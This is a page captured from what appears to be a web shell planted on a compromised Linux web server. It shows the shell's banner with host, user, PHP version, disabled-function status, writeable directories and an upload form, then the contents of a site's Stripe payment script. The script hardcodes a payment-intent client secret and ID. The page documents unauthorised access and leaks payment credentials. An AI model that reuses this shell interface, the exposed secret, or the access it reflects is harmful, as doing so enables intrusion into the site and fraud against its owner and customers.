Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/public/stripe-payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/public/stripe-payment/confirmPayment.js
async function  confirmPayment(clientSecret, paymentMethod) {
    const result = await stripe.confirmCardPayment(clientSecret, {
        payment_method: paymentMethod.id
    });

    console.log(result);

    if (result.error) {

        alert(result.error.message);

    } else {

        if (result.paymentIntent.status === "requires_capture") {

            await fetch("process_payment.php", {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    paymentIntentId: result.paymentIntent.id,
                    paymentMethodId: paymentMethod.id
                })
            });

            alert("Payment Success");
        }
    }
}

const clientSecret = "pi_3TCK4BKCFr2zWbFz12EuJOv3_secret_LT2U1k0uUU3XdBq06MxOzhTI4";
const paymentMethod = {
    id: "pi_3TCK4BKCFr2zWbFz12EuJOv3"
};

confirmPayment(clientSecret, paymentMethod).then(() => {
    // Payment confirmed
    console.log("Payment confirmed successfully.");
}).catch((error) => {
    console.error("Error confirming payment:", error);
});

ZeroDay Forums Mini